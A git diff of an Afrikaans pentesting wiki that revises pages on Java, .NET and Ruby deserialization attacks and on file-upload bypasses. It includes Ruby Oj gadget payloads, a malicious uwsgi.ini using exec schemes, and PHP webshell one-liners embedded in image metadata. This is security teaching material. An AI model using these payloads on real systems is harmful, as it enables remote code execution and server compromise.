if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -568,10 +568,10 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringstrategieë.
**Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objek voordat deserialisering, en die implementering van pasgemaakte serialiseringstrategieë.
- **NotSoSerial** onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom.
- **jdeserialize** maak dit moontlik om geserialiseerde Java-objekte te analiseer sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
- **jdeserialize** stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
- **Kryo** is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter.
### Verwysings
@ -586,7 +586,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialisering CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Inspuiting & log4Shell
@ -610,12 +610,12 @@ Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
### Ontginning
So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg voorregte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/subscriber gedeserialiseer sal word**.\
So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg regte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objek te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\
Dit beteken dat in hierdie ontginning al die **kliënte wat daardie boodskap gaan gebruik, besmet sal raak**.
Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilig gebruikersinvoer deserialiseer) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.
Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objekte te stuur wat bekende gadgets gebruik**. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.
Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objek te stuur wat bekende gadgets gebruik**. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.
### Verwysings
@ -643,7 +643,7 @@ Die soektog moet teiken op die Base64-gecodeerde string **AAEAAAD/////** of enig
### ysoserial.net
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repository afgelaai het, moet jy **die hulpmiddel compileer** met Visual Studio byvoorbeeld.
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repositori afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
@ -651,7 +651,7 @@ Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`-
- **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
- **`--formatter`**, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** gegecodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering kompatibiliteitsprobleme** hê wat sal voorkom dat die ontginning behoorlik werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie)._
- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** geënkodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie)._
- **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te maak.
#### Meer ysoserial.net parameters
@ -719,9 +719,9 @@ Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
- **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` wanneer moontlik.
- **Vir `JSON.Net`, stel `TypeNameHandling` op `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Vermy om `JavaScriptSerializer` met 'n `JavaScriptTypeResolver` te gebruik.**
- **Beperk die tipes wat gedeserialiseer kan word**, terwyl jy die inherente risiko's van .Net tipes verstaan, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei.
- **Beperk die tipes wat gedeserialiseer kan word**, en verstaan die inherente risiko's met .Net tipes, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diens aanvalle kan lei.
- **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value` eienskap, wat uitgebuit kan word.
- **Beheer tipe-instansie veilig** om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak.
- **Beheer tipe-instansiasie veilig** om te voorkom dat aanvallers die deserialisasie-proses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak.
- **Implementeer witlysbeheer** met 'n pasgemaakte `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`.
- **Bly ingelig oor bekende onveilige deserialisasie-gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.
- **Isolateer potensieel riskante kode** van kode met internettoegang om te voorkom dat bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, aan onbetroubare databronne blootgestel word.
@ -735,16 +735,16 @@ Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
## **Ruby**
In Ruby word serialisering gefasiliteer deur twee metodes binne die **marshal** biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek na 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Omgekeerd word die tweede metode, **load**, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses bekend as deserialisering.
In Ruby word serialisering gefasiliteer deur twee metodes binne die **marshal** biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek na 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Aan die ander kant word die tweede metode, **load**, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses bekend as deserialisering.
Vir die beveiliging van geserialiseerde objekte, **gebruik Ruby HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor:
Vir die beveiliging van geserialiseerde objek, **gebruik Ruby HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**Ruby 2.X generiese deserialisering na RCE gadget ketting (meer inligting in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Ruby 2.X generiese deserialisering na RCE gadget ketting (meer in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -854,17 +854,17 @@ Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbru
### Ruby _json besoedeling
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die backend byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang plaasvind.
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang plaasvind.
Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md).
### Ander biblioteke
Hierdie tegniek is geneem [**uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Hierdie tegniek is geneem [ **uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om RCE te verkry basies):
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om basies RCE te verkry):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoergegewens</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoerdata</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
Basiese voorbeeld:
```ruby
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL te verkry, wat 'n groot detektor van hierdie soort onsuiwer deserialisasie kwesbaarhede bied.
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
```json
{
"^o": "URI::HTTP",
@ -922,6 +922,42 @@ Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep wo
}
}
```
Kontroleer vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Check vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
Nie regtig 'n deserialisering kwesbaarheid nie, maar 'n lekker truuk om bootstrap caching te misbruik om RCE uit 'n rails-toepassing te verkry met 'n arbitrêre lêer skryf (vind die volledige [oorspronklike pos hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Hieronder is 'n kort opsomming van die stappe wat in die artikel uiteengesit word om 'n arbitrêre lêer skryf kwesbaarheid te benut deur Bootsnap caching te misbruik:
- Identifiseer die Kwesbaarheid en Omgewing
Die Rails-app se lêer oplaai funksionaliteit laat 'n aanvaller toe om lêers arbitrêr te skryf. Alhoewel die app met beperkings loop (slegs sekere gidsen soos tmp is skryfbaar weens Docker se nie-root gebruiker), laat dit steeds skryf na die Bootsnap cache gids (tipies onder tmp/cache/bootsnap).
- Verstaan Bootsnap se Cache Meganisme
Bootsnap versnel Rails opstart tye deur gecompileerde Ruby kode, YAML, en JSON lêers te cache. Dit stoor cache lêers wat 'n cache sleutel kopstuk insluit (met velde soos Ruby weergawe, lêergrootte, mtime, compile opsies, ens.) gevolg deur die gecompileerde kode. Hierdie kopstuk word gebruik om die cache tydens app opstart te valideer.
- Verskaf Lêer Metadata
Die aanvaller kies eers 'n teikenlêer wat waarskynlik tydens Rails opstart gelaai word (byvoorbeeld, set.rb van Ruby se standaard biblioteek). Deur Ruby kode binne die houer uit te voer, onttrek hulle kritieke metadata (soos RUBY_VERSION, RUBY_REVISION, grootte, mtime, en compile_option). Hierdie data is noodsaaklik om 'n geldige cache sleutel te skep.
- Bereken die Cache Lêer Pad
Deur Bootsnap se FNV-1a 64-bit hash meganisme te repliseer, word die korrekte cache lêer pad bepaal. Hierdie stap verseker dat die kwaadwillige cache lêer presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/).
- Skep die Kwaadwillige Cache Lêer
Die aanvaller berei 'n payload voor wat:
- Arbitrêre opdragte uitvoer (byvoorbeeld, id uitvoer om prosesinligting te wys).
- Verwyder die kwaadwillige cache na uitvoering om herhalende uitbuiting te voorkom.
- Laai die oorspronklike lêer (bv. set.rb) om te verhoed dat die toepassing ineenstort.
Hierdie payload word in binêre Ruby kode gecompileer en saamgevoeg met 'n sorgvuldig saamgestelde cache sleutel kopstuk (met behulp van die voorheen versamelde metadata en die korrekte weergawe nommer vir Bootsnap).
- Oorskry en Trigger Uitvoering
Met behulp van die arbitrêre lêer skryf kwesbaarheid, skryf die aanvaller die saamgestelde cache lêer na die berekende ligging. Volgende, trigger hulle 'n bediener herstart (deur na tmp/restart.txt te skryf, wat deur Puma gemonitor word). Tydens herstart, wanneer Rails die geteikende lêer benodig, word die kwaadwillige cache lêer gelaai, wat lei tot afstandlike kode uitvoering (RCE).
{{#include ../../banners/hacktricks-training.md}}

51
src/pentesting-web/file-upload/README.md
View File

@ -15,9 +15,9 @@ Ander nuttige uitbreidings:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Omseil lêer uitbreidings kontrole
### Oorbrug lêer uitbreidings kontrole
1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets dit ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
- _file.png.php_
- _file.png.Php5_
@ -45,7 +45,7 @@ Ander nuttige uitbreidings:
- _file.php%00.png%00.jpg_
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
- _bv: file.php.png_
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
```
@ -59,17 +59,17 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Omseil Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting
### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting
- Om **Inhoud-Tipe** kontrole te omseil deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Om **magic number** kontrole te omseil deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
- Oorbrug **magic nommer** kontrole deur die **bytes van 'n werklike beeld** aan die begin van die lêer toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 'n Ander tegniek om 'n payload te maak wat **'n beeld hervergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
@ -79,13 +79,13 @@ AAA<--SNIP 232 A-->AAA.php.png
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
- Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
- **Mogelijke Inligting openbaar**:
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam**
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
### Spesiale uitbreiding tricks
@ -98,7 +98,7 @@ Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word o
## **Jetty RCE**
As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell!
As jy 'n XML lêer na 'n Jetty bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML lêer na `$JETTY_BASE/webapps/` en verwag die shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Arbitrêre Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
```ini
@ -128,11 +128,11 @@ characters = @(call://uwsgi_func)
```
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
Dit is van kardinale belang om die losser aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
## **wget Lêer Laai/SSRF Trick**
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
